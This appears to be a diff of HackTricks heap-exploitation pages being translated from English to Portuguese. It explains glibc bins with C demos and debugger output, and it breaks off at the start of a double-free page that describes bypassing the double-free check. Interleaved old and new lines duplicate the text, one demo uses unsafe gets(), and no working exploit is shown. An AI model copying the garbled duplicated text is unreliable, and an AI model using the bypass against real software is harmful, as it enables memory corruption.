Além disso, **bins rápidos usam listas encadeadas simples**, não duplamente encadeadas, o que melhora ainda mais a velocidade. Como os chunks em bins rápidos não são mesclados com vizinhos, não há necessidade de uma estrutura complexa que permita a remoção do meio. Uma lista encadeada simples é mais simples e rápida para essas operações.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o chunk mais recentemente liberado daquele tamanho. Então:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
- Quando um novo chunk é alocado desse tamanho, o cabeçalho está apontando para um chunk livre para usar. Como esse chunk livre está apontando para o próximo a ser usado, esse endereço é armazenado no cabeçalho para que a próxima alocação saiba onde obter um chunk disponível.
- Quando um chunk é liberado, o chunk livre salvará o endereço do chunk atualmente disponível e o endereço deste chunk recém-liberado será colocado no cabeçalho.
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de forma que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estaria no índice `1`...
> [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
> Chunks em bins rápidos não são definidos como disponíveis, então eles são mantidos como chunks de bin rápido por algum tempo em vez de poderem ser mesclados com outros chunks livres ao seu redor.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Add a fastbin chunk example</summary>
<summary>Adicionar um exemplo de chunk fastbin</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Observe como alocamos e liberamos 8 pedaços do mesmo tamanho para que preencham o tcache e o oitavo é armazenado no fast chunk.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
Compile-o e depure-o com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um pedaço está no fast bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsorted bin
### Bin não ordenado
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
O bin não ordenado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um bloco, e se esse bloco não pode ser alocado em um tcache ou fast bin e não está colidindo com o bloco superior, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer blocos livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo bloco em um bin geral chamado "bin não ordenado."
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
Quando um programa **pede memória**, o gerenciador de heap **verifica o bin não ordenado** para ver se há um bloco de tamanho suficiente. Se encontrar um, ele o utiliza imediatamente. Se não encontrar um bloco adequado no bin não ordenado, ele move todos os blocos dessa lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
Observe que se um bloco maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no bin não ordenado.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
Portanto, o bin não ordenado é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória recentemente liberada e reduzindo a necessidade de buscas e mesclagens demoradas.
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
> Observe que mesmo que os blocos sejam de categorias diferentes, se um bloco disponível estiver colidindo com outro bloco disponível (mesmo que originalmente pertençam a bins diferentes), eles serão mesclados.
<details>
<summary>Add a unsorted chunk example</summary>
<summary>Adicionar um exemplo de bloco não ordenado</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Observe como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
Compile-o e depure-o com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Small Bins
Small bins are faster than large bins but slower than fast bins.
Small bins são mais rápidos que large bins, mas mais lentos que fast bins.
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
Cada bin dos 62 terá **chunks do mesmo tamanho**: 16, 24, ... (com um tamanho máximo de 504 bytes em 32 bits e 1024 em 64 bits). Isso ajuda na velocidade de encontrar o bin onde um espaço deve ser alocado e na inserção e remoção de entradas nessas listas.
This is how the size of the small bin is calculated according to the index of the bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
Assim é como o tamanho do small bin é calculado de acordo com o índice do bin:
- Tamanho menor: 2\*4\*índice (por exemplo, índice 5 -> 40)
- Tamanho maior: 2\*8\*índice (por exemplo, índice 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Function to choose between small and large bins:
Função para escolher entre bins pequenos e grandes:
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Add a small chunk example</summary>
<summary>Adicionar um pequeno exemplo de chunk</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
chunks[9] = malloc(0x110);
return 0;
return 0;
}
```
Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. Em seguida, alocamos um chunk maior de 0x110, o que faz **o chunk no bin não ordenado ir para o small bin**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no small bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Large bins
### Grandes bins
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
Ao contrário das pequenas bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin gerencia uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de uma bin separada para cada tamanho.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
Em um alocador de memória, as grandes bins começam onde as pequenas bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que a primeira bin pode cobrir pedaços de 512 a 576 bytes, enquanto a próxima cobre de 576 a 640 bytes. Esse padrão continua, com a maior bin contendo todos os pedaços acima de 1MB.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
As grandes bins são mais lentas para operar em comparação com as pequenas bins porque elas devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em uma grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra as torna **mais lentas**, mas como as alocações grandes são menos comuns do que as pequenas, é uma troca aceitável.
There are:
Existem:
- 32 bins of 64B range (collide with small bins)
- 16 bins of 512B range (collide with small bins)
- 8bins of 4096B range (part collide with small bins)
- 4bins of 32768B range
- 2bins of 262144B range
- 1bin for remaining sizes
- 32 bins de faixa de 64B (colidem com pequenas bins)
- 16 bins de faixa de 512B (colidem com pequenas bins)
- 8 bins de faixa de 4096B (parte colide com pequenas bins)
- 4 bins de faixa de 32768B
- 2 bins de faixa de 262144B
- 1 bin para tamanhos restantes
<details>
<summary>Large bin sizes code</summary>
<summary>Código de tamanhos de grandes bins</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Add a large chunk example</summary>
<summary>Adicionar um exemplo de grande bloco</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
return 0;
}
```
2 grandes alocações são realizadas, então uma é liberada (colocando-a no bin não ordenado) e uma alocação maior é feita (movendo a liberada do bin não ordenado para o bin grande).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
Compile e depure com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin tcache está cheio e um chunk está no bin grande:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Top Chunk
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Basicamente, este é um chunk que contém todo o heap atualmente disponível. Quando um malloc é realizado, se não houver nenhum chunk livre disponível para usar, este top chunk reduzirá seu tamanho, dando o espaço necessário.\
O ponteiro para o Top Chunk é armazenado na struct `malloc_state`.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
Além disso, no início, é possível usar o chunk não ordenado como o top chunk.
<details>
<summary>Observe the Top Chunk example</summary>
<summary>Observe o exemplo do Top Chunk</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
Após compilar e depurar com um ponto de interrupção no opcode `ret` de `main`, vi que o malloc retornou o endereço `0xaaaaaaac12a0` e estes são os chunks:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header:
Onde pode ser visto que o chunk superior está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Também é possível ver o comprimento do Top chunk em seu cabeçalho de chunk:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Last Remainder
### Último Resto
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
Quando malloc é usado e um chunk é dividido (do bin não ordenado ou do chunk superior, por exemplo), o chunk criado a partir do restante do chunk dividido é chamado de Último Resto e seu ponteiro é armazenado na struct `malloc_state`.
## Allocation Flow
## Fluxo de Alocação
Check out:
Confira:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Free Flow
## Fluxo de Liberação
Check out:
Confira:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
## Heap Functions Security Checks
## Verificações de Segurança das Funções de Heap
Check the security checks performed by heavily used functions in heap in:
Verifique as verificações de segurança realizadas por funções amplamente utilizadas em heap em:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Referências
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -2,91 +2,89 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
Se você liberar um bloco de memória mais de uma vez, isso pode bagunçar os dados do alocador e abrir a porta para ataques. Veja como isso acontece: quando você libera um bloco de memória, ele volta para uma lista de blocos livres (por exemplo, o "fast bin"). Se você liberar o mesmo bloco duas vezes seguidas, o alocador detecta isso e gera um erro. Mas se você **liberar outro bloco no meio, a verificação de double-free é contornada**, causando corrupção.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
Example:
Agora, quando você pede nova memória (usando `malloc`), o alocador pode lhe dar um **bloco que foi liberado duas vezes**. Isso pode levar a dois ponteiros diferentes apontando para o mesmo local de memória. Se um atacante controla um desses ponteiros, ele pode alterar o conteúdo daquela memória, o que pode causar problemas de segurança ou até mesmo permitir que ele execute código.
Exemplo:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
